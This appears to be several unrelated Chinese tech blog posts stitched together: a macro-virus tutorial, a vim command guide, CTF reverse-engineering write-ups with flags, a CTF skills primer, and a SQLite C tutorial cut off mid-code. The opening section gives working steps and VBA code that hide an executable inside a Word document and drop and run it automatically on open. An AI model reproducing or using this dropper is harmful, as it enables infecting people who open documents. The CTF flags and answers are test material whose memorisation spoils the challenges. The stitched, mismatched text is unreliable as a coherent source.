宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。

制作流程：

这里用的方法主要是把PE文件接到doc文件后面，然后通过API函数，定位到PE文件位置，最后释放出来并运行，下面详细说明。

一、把PE文件嵌入doc文件中

这个实现起来简单，把要接的exe放到和这个doc文件同一个目录下.运行doc命令:
copy /b xxxx.doc + xxxxx.exe newdoc.doc
这个跟图片隐写技术类似的。

二、创建宏代码，实验功能

我这里用的是office2013,首先打开doc文件，点击界面上的开发工具（如果开发工具没有在界面上，请参考打开开发工具**里面的，而不是建在上面Normal里。
首先：
这里我是把函数声明与一些函数参数声明写在了一个模块里面。
如下图所示：
1）createfile 用于打开文件,该函数vb的声明如下:
declare function createfile lib “kernel32” alias “createfilea” (byval lpfilename as string,
byval dwdesiredaccess as long, byval dwsharemode as long, byval lpsecurityattributes
as long, byval dwcreationdistribution as long, byval dwflagsandattributes as long, byval htemplate as long) as long
2)closehandle 用于关闭被打开文件的句柄,该函数vb的声明如下:
declare function closehandle lib “kernel32” (byval hobject as long) as long
3)readfile 用于从被打开文件中读取数据,该函数vb的声明如下:
declare function readfile lib “kernel32” (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestoread
as long, lpnumberofbytesread as long, byval lpoverlapped as long) as long
4)writefile 用于把读取出的数据写入文件,该函数vb的声明如下:
declare function writefile lib “kernel32” (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestowrite
as long, lpnumberofbyteswritten as long, byval lpoverlapped as long) as long
5)setfileponiter移动文件指针,该函数vb的声明如下:
declare function setfilepointer lib “kernel32” (byval hfile as long, byval ldistancetomove as long, byval
lpdistancetomovehigh as long, byval dwmovemethod as long) as long
6)下面是以上函数的参数声明
public const generic_read as long = &h80000000
public const generic_write as long = &h40000000
public const file_share_read as long = 1
public const file_share_write as long = 2
public const create_new as long = 1
public const create_always as long = 2
public const open_existing as long = 3
public const open_always as long = 4
public const truncate_existing as long = 5
public const invalid_handle_value as long = -1
public const file_attribute_normal as long = &h80

其次：
核心代码功能，就是操作上面的API。
如下图所示：
代码如下：
‘’’c
Private Sub Document_Open()
Dim buffer(114688) As Byte
Dim h, h2, j, i, k As Long
h = CreateFile(ThisDocument.Path & “/“ & ThisDocument.Name, generic_read, file_share_read + file_share_write, 0, open_existing, 0, 0)
‘以share_read的方式打开自身的doc文件
h2 = CreateFile(“d:\exec.exe”, generic_write, 0, 0, create_always, 0, 0)
‘新建一个exe文件准备存放读取出来的数据.
If h = invalid_handle_value Then
Exit Sub
End If
k = SetFilePointer(h, 91136, nil, 0)
‘把文件指针移动到doc文件与exe文件交界处.
Do
i = ReadFile(h, buffer(0), 114688, j, 0)
i = WriteFile(h2, buffer(0), j, j, 0)
Loop Until j < 114688
CloseHandle (h)
CloseHandle (h2)
Shell “cmd /c d:\exec.exe”
‘运行exe文件
End Sub
‘’’
有点API编程经验的人都能看懂的，不需要对VB很熟，我对VB也一窍不通。当然上面的代码很简单，我是释放到D盘，其实都可以释放到临时目录这些，等等。
这里重点说明下，这上面的二个数字。
91136是指你把宏代码嵌入以后整个文件大小
114688代码你嵌入PE文件的大小。
整个的操作步骤的是：先打开doc文件，写入宏代码，这里可能有人要问我写如宏代码后doc文件大小就不知道了，所以你可以先随便写一个数字，在保存一下，查看doc文件大小，修改一下即可，最后在用CP命令添加PE文件。

三、演示效果

打开doc文件，会提示有宏代码，若点击允许，就可以运行。所以宏病毒还是有很有弊端。
如下图所示：

VI 编辑器是Linux和Unix上最基本的文本编辑器，工作在字符模式下。由于不需要图形界面，使它成了效率很高的文本编辑器，但是很多初学者对这个编辑器都不感冒，我也一样。

1、VIM快速入门

一、vim的3种模式介绍

VIM存在3种工作模式，分别是命令模式，插入模式和底行模式。
命令模式：输入vim命令后启动vim默认就是进入命令模式，此时所有键都是功能键。
插入模式：命令模式下按下“i”键就可以进入插入模式，这时就像记事本一样编辑文本了。
底行模式：在命令模式下输入“:”进入底行模式，可以用以保存文件、退出vim以及设置环境执行编译命令等。

vim启动进入命令模式
处于插入模式或底行模式时只需要按“ESC”退出键即可进入命令模式
命令模式中按“i”（插入）或“a”（附加）键都可以进入插入模式
命令模式中按“:”进入底行模式
底行模式中输入“wq”回车后保存并退出vim

二、进入vim

1.使用vim命令进入vim界面
vim是打开vim的命令 test.txt是您打开或者新建文件的文件名。
打开linux终端，输入以下命令
$ vim test.txt
直接使用vim也可以打开vim编辑器，但是不会打开任何文件。
$ vim
进入底行模式后输入:e test.txt 同样可以打开test.txt文件。
2.游标移动

3.移动vim编辑器的游标
在进入vim后，按下“i”键进入插入模式。在该模式下您可以输入文本信息
请输入如下三行信息
12345678
abcdefghijk
testtesttest
按esc进入命令模式，在该模式下使用方向键或者hjkl键可以移动游标。
h：左；
l（小写L）： 右
j ：下
k： 上
w：移动到下一个单词
b：移动到上一个单词
请尝试在命令行模式下使用字母键在文本中移动游标
选择特定的文本位置后可以进入编辑模式开始编辑

三、进入编辑模式

1.使用命令进入编辑模式

在命令模式下输入下列字母进入编辑模式进行文本编辑
i 在当前光标处进行编辑
a 在光标后插入编辑
o 在当前行后插入一个新行
O 在当前行前插入一个新行
cw 替换从光标所在位置后到一个单词结尾的字符
请尝试不同的从命令模式进入编辑模式的方法，不要忘记ESC键可以从编辑模式退回到命令模式

四、保存文档

1.底行模式下保存文档

从命令模式输入“:”进入底行模式，输入w回车，保存文档

五、退出vim

1.底行模式下退出vim

从命令模式输入“:”进入底行模式，输入wq回车，保存并退出编辑
也可以使用其他的退出命令，命令前的”:”表示处于底行模式中
:q! 强制退出，不保存
:q 退出
:wq! 强制保存并退出
:saveas 另存为
:x 或 :wq 保存并退出
2.命令模式下退出vim

命令模式下输入“ZZ”即可保存退出vim

六、删除文本

1.命令模式下删除vim文本信息

进入命令模式，使用下列命令进行文本快速删除：
x 删除游标所在的字符
X 删除游标之前的字符
“del”按键删除当前字符
dd 删除整行
dw删除一个word（不适用中文）
dG删除到文档结尾处
d1G 删至文档首部
d$删除至行尾

2、Vim文档编辑

一、vim重复命令

1.重复执行上次命令

进入命令模式 . (小数点) 可以重复上一次的命令
拷贝测试文件到本地目录
$ cp /etc/protocols ./
打开文件文件进行编辑
$ vim protocols
命令模式下输入x，删除第一个字符，输入.(小数点)会再次删除一个字符
2.多次执行相同的命令

进入命令模式输入“N” 重复某个命令N次
打开文件文件进行编辑
$ vim protocols
命令模式下输入10x，删除10个连续字符
命令模式下输入3dd，将会删除3行文本

二、光标的跳转

1.光标快速跳转

命令模式下，下列命令可以让光标快速调转到指定位置
NG到第 N 行 （命令中的G是大写的）
gg到第一行
G到最后一行

2.练习NG命令

N是一个数字，G必须大写
打开文件文件进行编辑
$ vim protocols
进入命令模式，输入10G，光标将会跳转到第10行

3.gg命令

gg命令将光标跳转至第一行，与1G相同
N是一个数字，G必须大写
打开文件文件进行编辑
$ vim protocols
进入命令模式，输入10G，光标将会跳转到第10行
进入命令模式，输入gg，光标将会跳转到第1行

4.G命令

G命令将光标跳转到最后一行
$ vim protocols
进入命令模式，输入G，光标将会跳转到最后一行

5.按单词移动光标

命令模式下使用下列命令按照单词为单位进行跳转
w 到下一个单词的开头。
e 到下一个单词的结尾。
打开文件进入命令模式，练习按照单词进行跳转
$ vim protocols

三、复制粘贴和剪切

1.复制及粘贴文本

命令模式中使用y 复制
命令模式中yy复制游标所在的整行（3yy表示复制3行）
命令模式中，y^ 复制至行首，或y0。不含光标所在处字符。
进入命令模式，y$ 复制至行尾。含光所在处字符。
进入命令模式，yw 复制一个word。
进入命令模式，y2w 复制两个字。
进入命令模式，yG 复制至文本最后。
进入命令模式，y1G 复制至文本开始位置。
命令模式中使用p 粘贴
进入命令模式，p 小写p 代表贴至光标后（下）
进入命令模式，P 大写P 代表贴至光标前（上）

2.剪切及粘贴文本

命令模式中使用d 剪切
命令模式中dd剪切游标所在的整行（3dd表示剪切3行）
命令模式中，d^剪切至当前行开始位置，或d0。不含光标所在处字符。
进入命令模式，d$ 剪切至行尾。含光所在处字符。
进入命令模式，dw 剪切一个word。
进入命令模式，d2w 剪切两个字。
进入命令模式，dG 剪切至文本最后。
进入命令模式，d1G 剪切至文本开始位置。
命令模式中使用p 粘贴
进入命令模式，p 小写p 代表贴至光标后（下）
进入命令模式，P 大写P 代表贴至光标前（上）

四、在当前行上移动光标

1.当前行上移动光标命令简介

0 到行头
$ 到行尾
fa 到下一个为a的字符处，你也可以fs到下一个为s的字符。
t, 到逗号前的第一个字符。逗号可以变成其它字符。
3fa 在当前行查找第三个出现的a。
F 和 T 和 f 和 t 一样，只不过是相反方向。

2.光标移动命令练习

复制练习文本到本地目录
$ cp /etc/protocols ./
打开文件文件进行编辑
$ vim protocols
命令模式下输入11G，跳转到第11行
命令模式下输入$跳转到行尾后输入0回到行头
命令模式下输入fa 跳转到下一个a字符处
命令模式下输入ta跳转到a字符前一个位置
命令模式下输入3fa跳转到第三个出现的a字符处
命令模式下输入3Fa跳转到前方第三个a字符

3、Vim替换查找

一、字符的取代及还原

1.取代和还原命令简介

命令模式下输入r，并且输入新的字符，新字符将会取代以前的字符
命令模式下输入R取代字符，输入新字符串直到按下Esc为止。
命令模式下输入cc取代整行字符。或大写S 亦可。
命令模式下输入cw 替换一个英文字(word)，中文不适用。
命令模式下输入Shift+~，翻转游标所在字符的大小写
命令模式下输入C 取代至行尾，即游标所在处以后的字都会被替换
命令模式下输入u 取消上一次的操作

2.取代和还原命令练习

复制练习文本到本地目录
$ cp /etc/protocols ./
打开文件文件进行编辑
$ vim protocols
命令模式下输入11G，跳转到11行
输入fa跳转到第一个a字符
命令模式下输入r，并且输入b，a字符被b字符取代
命令模式下输入R取代字符，输入新字符串，输入完按ESC回到命令模式
命令模式下输入cc取代整行字符，输入新字符串，输入完按ESC回到命令模式
命令模式下输入cw 替换一个英文字(word)，输入完按ESC回到命令模式
命令模式下输入Shift+~，翻转游标所在字符的大小写
命令模式下输入C 取代至行尾，即游标所在处以后的字都会被替换，输入完按ESC回到命令模式
命令模式下输入u 取消上一次的操作

二、文字的简单排列

1.使用命令对文字进行简单的排列

打开文件进行编辑
$ vim protocols
命令模式下输入15G，跳转到15行
命令模式下输入>> 整行将向右缩进
命令模式下输入<< 整行向左回退
命令模式下输入’:’进入底行模式下对shiftwidth值进行设置可以控制缩进和回退的字符数

2.shiftwidth命令

shiftwidth命令是指上一节>>命令产生的缩进（可以简写成sw）
命令模式下输入’:’进入底行模式下对shiftwidth值进行设置可以控制缩进和回退的字符数
获取目前的设定值
:set shiftwidth?
设置缩进为10个字符
:set shiftwidth=10
输入ESC回到命令模式，再次尝试>>看缩进量是否变化

3.调整文本位置

底行模式下ce(center)命令使本行内容居中
:ce
底行模式下ri(right)命令使本行文本靠右
:ri
底行模式下le(left)命令使本行内容靠左
:le

三、查找

1.快速查找

命令模式下输入/然后键入需要查找的字符串 按回车后就会进行查找。
？与/功能相同，只不过？是向上而/是向下查找。
进入查找之后，输入n和N可以继续查找
n表示继续查找，N反向查找

2.快速查找练习

打开文件文件进行编辑
$ vim protocols
命令模式下输入/icmp查找icmp字符串
命令模式下输入n查找下一个icmp
命令模式下输入？tcp向上查找tcp字符串
命令模式下输入N查找上一个出现的tcp

3.高级查找

命令模式下输入寻找游标所在处的单词
命令模式下输入#同上，但 是向前（下）找，#则是向后（上）找
命令模式下输入g同 ，但部分符合该单词即可
命令模式下输入g#同# ，但部分符合该单词即可
以上查找n, N 的继续查找命令依然可以用

4、高级功能入门

一、文档加密

1.创建加密文档

$ vim -x file1
输入您的密码
确认密码
这样在下一次打开时，vim就会要求你输入密码

二、在vim执行外部命令

1.执行外部命令

在底行模式中输入！可以执行外部的shell命令
:!ls 用于显示当前目录的内容
:!rm FILENAME 用于删除名为 FILENAME 的文件
:w FILENAME 可将当前 VIM 中正在编辑的文件另存为 FILENAME 文件

三、多文件编辑

1.使用vim编辑多个文件

编辑多个文件有两种形式，一种是在进入vim前使用的参数就是多个文件。另一种就是进入vim后再编辑其他的文件。
同时创建两个新文件并编辑
$ vim 1.txt 2.txt
默认进入1.txt文件的编辑界面
底行模式下输入:n编辑2.txt文件，可以加!即:n!强制切换，之前一个文件的输入没有保存，仅仅切换到另一个文件
底行模式下输入:N编辑1.txt文件，可以加!即:N!强制切换，之前文件内的输入没有保存，仅仅是切换到另一个文件

2.进入vim后打开新文件

底行模式下输入:e 3.txt 打开新文件3.txt
底行模式下输入:e# 回到前一个文件
底行模式下输入:ls可以列出以前编辑过的文档
底行模式下输入:b 2.txt（或者编号）可以直接进入文件2.txt编辑
底行模式下输入:bd 2.txt（或者编号）可以删除以前编辑过的列表中的文件项目
底行模式下输入:e! 4.txt，新打开文件4.txt，放弃正在编辑的文件
底行模式下输入:f 显示正在编辑的文件名
底行模式下输入:f new.txt，改变正在编辑的文件名字为new.txt

3.恢复文件

如果因为断电等原因造成文档没有保存，可以采用恢复方式，vim -r 进入文档后，输入:ewcover 1.txt来回复
$ vim -r 1.txt

四、视图模式

1.视图模式命令简介

在命令模式下输入v（小写v），进入字符选择模式，就可以移动光标，光标走过的地方就会选取。再次按下v会后就会取消选取。
在命令模式下输入V （大写V），进入行选择模式，按下V之后就会把整行选取，您可以上下移动光标选更多的行，同样，再按一次V就可以取消选取。
在命令模式下输入 Ctrl+v（小写V），这是区域选择模式，可以进行矩形区域选择，再按一次Ctrl+v取消选取。
在命令模式下输入d删除选取区域内容
在命令模式下输入y复制选取区域内容

2.视图模式命令练习

拷贝练习文件到当前目录
$ cp /etc/protocols ./
打开练习文件
$ vim protocols
在命令模式下20G跳转到20行，输入v（小写v），进入字符选择模式，移动光标，选取1个单词，输入y复制选取内容，输入p在当前位置粘贴选取内容
在命令模式下输入V （大写V），进入行选择模式，移动光标向下选择3行，输入d删除选取内容。
在命令模式下输入 Ctrl+v（小写v），移动光标进行矩形区域选择，输入d删除选取内容。
在命令模式下输入d删除选取区域内容
在命令模式下输入y复制选取区域内容

五、视窗操作

1.视窗操作简介

vim可以在一个界面里打开多个窗口进行编辑，这些编辑窗口称为vim的视窗
打开方法可以使用在底行模式下输入:new 打开一个新的vim视窗（命令模式下输入Ctrl+w也可以,但是Ctrl+w在chrome下会与chrome的命令产生冲突从而关闭chrome的标签页）
底行模式下输入:sp 1.txt 打开新的横向视窗来编辑1.txt
底行模式下输入:vsp 2.txt 打开新的纵向视窗来编辑1.txt
注意：下述命令建议在火狐或IE9+浏览器中使用，chrome会有快捷键冲突
命令模式下Ctrl-w s 会打开一个新的视窗，且原来的文档分属两个视窗。
命令模式下Ctrl-w f 打开一个新的视窗，且游标编辑之处的单词就是新视窗的名称
命令模式下Ctrl-w q 即 :q 结束分割出来的视窗。如果在新视窗中有输入需要使用强制符！即:q!
命令模式下Ctrl-w o 打开一个视窗并且隐藏之前的所有视窗
命令模式下Ctrl-w j 移至下视窗
命令模式下Ctrl-w k 移至上视窗

2.视窗操作练习

$ vim 1.txt
底行模式下输入:new 打开一个新的vim视窗
底行模式下输入:sp 2.txt 打开新的横向视窗来编辑2.txt
底行模式下输入:vsp 3.txt 打开新的横向视窗来编辑3.txt
如果使用非chrome浏览器可以使用Ctrl+w进行视窗间的跳转
分别在不同视窗的底行模式下输入:q!退出多视窗编辑

六、帮助系统

1.vim中的查看帮助

命令模式下按F1打开vim自己预设的帮助文档
底行模式下输入:h shiftwidth 打开名为shiftwidth的帮助文件
底行模式下输入:ver 显示版本及参数

七、功能设定

1.vim的功能设定

可以在编辑文件的时候进行功能设定，如底行模式下输入:set nu（显示行数），设定值退出vim后不会保存。要永久保存配置需要修改vim配置文件。
vim的配置文件~/.vimrc，可以打开文件进行修改，不过务必小心不要影响vim正常使用

2.获取目前的设定

底行模式下输入:set或者:se显示所有修改过的配置
底行模式下输入:set all 显示所有的设定值
底行模式下输入:set option? 显示option的设定值
底行模式下输入:set nooption 取消当期设定值

3.set功能的说明

底行模式下输入:set autoindent(ai) 设置自动缩进
底行模式下输入:set autowrite(aw) 设置自动存档，默认未打开
底行模式下输入:set background=dark或light，设置背景风格
底行模式下输入:set backup(bk) 设置自动备份，默认未打开
底行模式下输入: set cindent(cin) 设置C语言风格缩进

Hctf 逆向第1题（善于使用工具）。

107.189.158.112/d55757a7ccf958399789e18e1d8199de/babyCrack.zip
这个题目如果直接去调试，还是比较麻烦的，因为没有提示字符串，函数也不明确，但是如果用PEID先查壳，就能快速知道是,NET程序，
就可以用ILSpy或者.net reflector工具反编译出源码，

看到点击button函数，就可以看到flag：hctf{bAByCtsvlmE!}。

Hctf逆向第2题（善于抓住题目信息或者说题目暗示）

107.189.158.112/e81cbc49ae92b00d3b55430f21cbe2fe/babyCrack2.zip
这个题开始拿起用peid查了壳，发现没有壳。用OD跟了下，逻辑感觉不难，调理也很清楚，开始来了就一致在检测这个文件是不是PE文件，检测完了再单步走一下，就可以try again!!,
the key is what you agin这些字符串，比且在开始也压入了一个字符串”idug|35utCCbzDusnF34~”，后面也会有跟这个字符串比较的函数。

以为感觉就对了，但是后面在调试的时候，感觉无论输入啥子，都有点不对。
后面同伴提交了那串字符串，结果是对的。但是后面官网说了，那个题目答案有误。
正确的答案应该是每个字符串减1.
为什么呢。
idug每位的ascii减一就是hctf.在结合题目，.比赛中部分flag形式为hctf{xxxxxx}，部分flag不带hctf话括号，提交所见flag即可。
就可以得到答案了。我也看了writeup知道的。
其实这个题目考察的主要就是一个观察力。逆向能力要求也不是很高。

hctf apk的一个题目（NomalFile）(需要的也是善于观察)

这个题目本身是图片，图片里面嵌入了又一个png图片，去掉png的内容，就是一个APK，这里就不说了。用apk改之理反汇编后，算法也明确。

flag就是字符数组（16位），算的时候取它的 0 4 8 12 1 ‘+’‘ +’ 13位跟其他一组数做xor,最后跟这个字符数组的第6 10 14 3 ‘+’ 11 “+”作比较。还有些限制条件，15位与13位相等这些，这里就不说了。
通过这些条件就可以确定数组的某三位了。
还有一个就是接受用户输入的时候，不够16的位，它会去读取String str1 = Environment.getExternalStorageDirectory().getPath() + “/brand.txt”;的第一行，凑够16位数字。
开始同伴一直在找这个文件，无果。
后面就想，既然接受用户输入，那么答案就应该可以不相同的。自己就凑了一个答案，感觉符合条件。以为对了，提交的时候错误！！！
导致最后也没有成功提交。
看了writeup后，心里各种 草泥马，在strings..xml里面有个字符串，401！n++p;这个就对应最初取的那几位。

这样，就可以确定flag.
主要是没有经验，也没有敏锐的观察力。唉，伤不起。

hctf apk的第2题，

该题也不是很难，关键信息也很容易定位，更改2个跳转就可以输出flag,尼玛，输出的时候是日文，打印出来各种提交，各种不通过。最后也没有解决，就不附图了。
关键是现在都还没有解决，没有看到writeup啊。

hctf Linux下的一个题（善于使用脚本语言）。

该elf文件是一个64的文件，导入ida中，很快就可以看到check函数，或者字符串You Win,Sorry等，

调理很清楚，后面分析出来算法（矩阵），不知道怎么倒推回去，唉，编程能力太差，很多知道东西都不知道怎么写。
后面同伴想到用malab解，但是手工输入，解出来还是有些问题。最后看到了别人写的writeup,
用python导入了numpy库，就很快解出来了。

还有就是第一次SSCTF的第四题（善于多方面思考，不要一根筋）

题目是”输入正确的密码，会释放出文件。key就在文件中。tips:第一层密码为6为纯数字，第二层密码也是6位。“
该exe文件是加了一层壳（FSG2.0），但是这个壳很好脱，也可以带壳调试。

在GetProcAddress或者函数后，就可以下GetDlgItemTextA、GetWindowTextA等断点，获取输入，后面调试一步步就很简单，就是文件的读取，创建等，很清晰的。
算法就是md5(md5(“HOWMPxxxxxx”)) == 09B2F924C20C5CA427EED2C5B98BEFBF，xxxxx代表输入，最后会调用strcmp比较，

如果输入正确后，会返回0，进入正确的分支，并释放文件，若不正确，就进入错误分支，当然也不会释放文件。
如果我们要看它到底释放什么文件，就可以强制跳转等。
这里我们也可以写脚本来解这个值，因为题目已经告知第一层密码是6为数字，

很快也能解出来。
但是第2层密码没有提示，这个要破解就很费力。后面同伴逆向思考或者换位思考，既然我们知道它释放的是什么文件，而且一般文件开头都是固定的，释放后数据就是通过异或来得到该文件的。
那么通过释放后的数据和正常文件的前6个字节xor即可得到密码，第一层释放的是PE文件，第2层释放的是gif文件，通过异或很快得到密码。
MZ…… =>4D 5A 00 00 00 00 xor 78 6C 34 39 38 37 =>35 36 34 49 48 47 =》564987
GIF89aX =》47 49 46 38 39 61 58 xor 30 68 37 1E 5A 12 => w!q&cs
分别是564987和w!q&cs。

还有一些其他的题目，就不一一列举了。

总之，感觉ctf逆向的题目，技巧、观察力、多方位思考、工具这些很重要，真正逆向能力要求也不是特别高，当然有些题目除外哈。不过越高越好赛，我也是各种不懂。
这些东西可能说起来还是容易，但是真正掌握还是需要一定时间。
逆向这个东西也需要慢慢来，掌握还是需要一定的积累，一定的经验。

CTF全称Capture The Flag，即夺旗比赛，衍生自古代军事战争模式，两队人马前往对方基地夺旗，每队人马须在保护好己方旗帜的情况下将对方旗帜带回基地。

发展：

CTF比赛起源于DEFCON黑客大会（DEFCON 4 1996年），已发展全球范围网络安全圈的流行比赛。
“世界杯”： DEFCON CTF
“分站赛” 、“大奖赛”：2012年全球三十多个国际性赛事
“地区赛”、“内部赛”：各个国家、地区、单位内部赛事。

竞赛形式：

1.解题模式
2.攻防模式
3.混合模式

技能：

1、逆向工程。我强烈建议你得到一个IDA Pro的副本，这有免费版和学生认证书。尝试下crack me的问题。写出你的C语言代码，然后进行反编译。重复这个过程，同时更改编译器的选项和程序逻辑。在编译的二进制文件中“if”声明和“select”语句有什么不同？我建议你专注于一个单一的原始架构：x86、x86_64或是ARM。在处理器手册中查找你要找的，参考有：
《Practical Reverse Engineering》
《Reversing: Secrets of Reverse Engineering》
《The IDA Pro Book》
2、加密。虽然这不是我自己的强项，但这里有一些参考还是要看看的：
《Applied Cryptography》
《Practical Cryptography》
Cryptography I
3、ACM编程。选择一个高层次的语言，我推荐使用Python或Ruby。对于Python而言，阅读下《Dive into Python》和找一些你要加入的项目。值得一提的是Metasploit是用Ruby编写的。关于算法和数据结构的计算机科学课也要在此类中要走很长的路。看看来自CTF和其他编程的挑战，战胜他们。专注于创建一个解决方法而不是最快或是最好的方法，特别是在你刚刚开始的时候。
4、web漏洞。有很多的网络编程技术，在CTF中最流行的就是PHP和SQL。php.net网站（译者注：需翻墙）是一个梦幻的语言参考，只要搜索你好奇的功能。PHP之后，看到网页上存在的挑战的最常见的方法就是使用Python或Ruby脚本。主要到技术有重叠，这有一本关于网络安全漏洞的好书，是《黑客攻防技术宝典：Web实战篇》。除此之外，在学习了一些基本技术之后，你可能也想通过比较流行的免费软件工具来取得一些经验。这些在CTF竞争中也可能会偶尔用到，这些加密会和你凭经验得到的加密重叠。
5、二进制练习。这是我个人的爱好，我建议你在进入二进制练习前要完成逆向工程的学习。这有几个你可以独立学习的常见类型漏洞：栈溢出，堆溢出，对于初学者的格式字符串漏洞。很多是通过练习思维来辨别漏洞的类型。学习以往的漏洞是进入二进制门槛的最好途径。推荐你可以阅读：
《黑客：漏洞发掘的艺术》
《黑客攻防技术宝典：系统实战篇》
《The Art of Software Security Assessment》
6、取证/网络。大多数的CTF团队往往有“一个”负责取证的人。

从 www.sqlite.org 网站可下载到最新的 sqlite 代码和编译版本。写此文章时，最新代码是 3.3.17 版本。
很久没有去下载 sqlite 新代码，因此也不知道 sqlite 变化这么大。以前很多文件，现在全部合并成一个 sqlite3.c 文件。
如果单独用此文件，是挺好的，省去拷贝一堆文件还担心有没有遗漏。但是也带来一个问题：此文件太大，快接近7万行代码，VC开它整个机器都慢下来 了。
如果不需要改它代码，也就不需要打开 sqlite3.c 文件，机器不会慢。但是，下面我要写通过修改 sqlite 代码完成加密功能，那时候就比较痛苦了。

二、基本编译

这个不想多说了，在 VC 里新建 dos 控制台空白工程，把 sqlite3.c 和 sqlite3.h 添加到工程，再新建一个 main.cpp 文件。在里面写:

1
2
3
4
5
6
7
8

extern “C”
{
#include “./sqlite3.h”
};
int main( int , char** )
{
return 0;
}

为什么要 extern “C” ？如果问这个问题，我不想说太多，这是C++的基础。要在 C++ 里使用一段 C 的代码，必须要用 extern “C” 括起来。
C++跟 C虽然语法上有重叠，但是它们是两个不同的东西，内存里的布局是完全不同的，在C++编译器里不用extern “C”括起C代码，会导致编译器不知道该如何为 C 代码描述内存布局。
可能在 sqlite3.c 里人家已经把整段代码都 extern “C” 括起来了，但是你遇到一个 .c 文件就自觉的再括一次，也没什么不好。
基本工程就这样建立起来了。编译，可以通过。但是有一堆的 warning。可以不管它。

三、SQLITE操作入门

sqlite提供的是一些C函数接口，你可以用这些函数操作数据库。通过使用这些接口，传递一些标准 sql 语句（以 char * 类型）给 sqlite 函数，sqlite 就会为你操作数据库。
sqlite 跟MS的access一样是文件型数据库，就是说，一个数据库就是一个文件，此数据库里可以建立很多的表，可以建立索引、触发器等等，但是，它实际上得到的就是一个文件。
备份这个文件就备份了整个数据库。sqlite 不需要任何数据库引擎，这意味着如果你需要 sqlite 来保存一些用户数据，甚至都不需要安装数据库。
下面开始介绍数据库基本操作。

1 基本流程（1）关键数据结构

sqlite 里最常用到的是sqlite3 类型。从数据库打开开始，sqlite就要为这个类型准备好内存，直到数据库关闭，整个过程都需要用到这个类型.
当数据库打开时开始，这个类型的变量就代表了你要操作的数据库。下面再详细介绍。
（2）打开数据库
int sqlite3_open( 文件名, sqlite3 * );
用这个函数开始数据库操作。
需要传入两个参数，一是数据库文件名，比如：c:\DongChunGuang_Database.db。
文件名不需要一定存在，如果此文件不存在，sqlite 会自动建立它。如果它存在，就尝试把它当数据库文件来打开。
sqlite3 参数即前面提到的关键数据结构。这个结构底层细节如何，你不要关它。
函数返回值表示操作是否正确，如果是SQLITE_OK 则表示操作正常。相关的返回值sqlite定义了一些宏。具体这些宏的含义可以参考 sqlite3.h 文件。
里面有详细定义（顺便说一下，sqlite3 的代码注释率自称是非常高的，实际上也的确很高。只要你会看英文，sqlite 可以让你学到不少东西）。
下面介绍关闭数据库后，再给一段参考代码。
（3）关闭数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

int sqlite3_close(sqlite3 *);
前面如果用 sqlite3_open 开启了一个数据库，结尾时不要忘了用这个函数关闭数据库。
下面给段简单的代码：
extern “C”
{
#include “./sqlite3.h”
};
int main( int , char** )
{
sqlite3 * db = NULL; //声明sqlite关键结构指针
int result;
//打开数据库
//需要传入 db 这个指针的指针，因为 sqlite3_open 函数要为这个指针分配内存，还要让db指针指向这个内存区
result = sqlite3_open( “c:\Dcg_database.db”, &db );
if( result != SQLITE_OK )
{
//数据库打开失败
return -1;
}
//数据库操作代码
//…
//数据库打开成功
//关闭数据库
sqlite3_close( db );
return 0;
}

这就是一次数据库操作过程。

2 SQL语句操作

本节介绍如何用sqlite 执行标准 sql 语法。

（1）执行sql语句

1
2
3
4
5
6
7
8
9
10
11
12

int sqlite3_exec(sqlite3*, const char *sql, sqlite3_callback, void *,  char **errmsg );
这就是执行一条 sql 语句的函数。
第1个参数不再说了，是前面open函数得到的指针。说了是关键数据结构。
第2个参数const char *sql 是一条 sql 语句，以\0结尾。
第3个参数sqlite3_callback 是回调，当这条语句执行之后，sqlite3会去调用你提供的这个函数。（什么是回调函数，自己找别的资料学习）
第4个参数void * 是你所提供的指针，你可以传递任何一个指针参数到这里，这个参数最终会传到回调函数里面，如果不需要传递指针给回调函数，可以填NULL。
等下我们再看回调函数的写法，以及这个参数的使用。
第 5个参数char ** errmsg 是错误信息。注意是指针的指针。
sqlite3里面有很多固定的错误信息。执行 sqlite3_exec 之后，执行失败时可以查阅这个指针（直接 printf(“%s\n”,errmsg)）得到一串字符串信息，这串信息告诉你错在什么地方。
sqlite3_exec函数通过修改你传入的指针的指 针，把你提供的指针指向错误提示信息，这样sqlite3_exec函数外面就可以通过这个 char*得到具体错误提示。
说明：通常，sqlite3_callback 和它后面的 void * 这两个位置都可以填 NULL。
填NULL表示你不需要回调。比如你做 insert 操作，做 delete 操作，就没有必要使用回调。而当你做 select 时，就要使用回调，因为 sqlite3 把数据查出来，得通过回调告诉你查出了什么数据。

（2）exec 的回调

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

typedef int (*sqlite3_callback)(void*,int,char**, char**);
你的回调函数必须定义成上面这个函数的类型。下面给个简单的例子：
//sqlite3的回调函数
// sqlite 每查到一条记录，就调用一次这个回调
int LoadMyInfo( void * para, int n_column, char ** column_value, char ** column_name )
{
//para是你在 sqlite3_exec 里传入的 void * 参数
//通过para参数，你可以传入一些特殊的指针（比如类指针、结构指针），然后在这里面强制转换成对应的类型（这里面是void*类型，必须强制转换成你的类型才可用）。然后操作这些数据
//n_column是这一条记录有多少个字段 (即这条记录有多少列)
// char ** column_value 是个关键值，查出来的数据都保存在这里，它实际上是个1维数组（不要以为是2维数组），每一个元素都是一个 char * 值，是一个字段内容（用字符串来表示，以\0结尾）
//char ** column_name 跟 column_value是对应的，表示这个字段的字段名称
//这里，我不使用 para 参数。忽略它的存在.
int i;
printf( “记录包含 %d 个字段\n”, n_column );
for( i = 0 ; i < n_column; i ++ )
{
printf( “字段名:%s  ?> 字段值:%s\n”,  column_name[i], column_value[i] );
}
printf( “——————\n“ );
return 0;
}
int main( int , char ** )
{
sqlite3 * db;
int result;
char * errmsg = NULL;
result = sqlite3_open( “c:\\Dcg_database.db”, &db );
if( result != SQLITE_OK )
{
//数据库打开失败
return -1;
}
//数据库操作代码
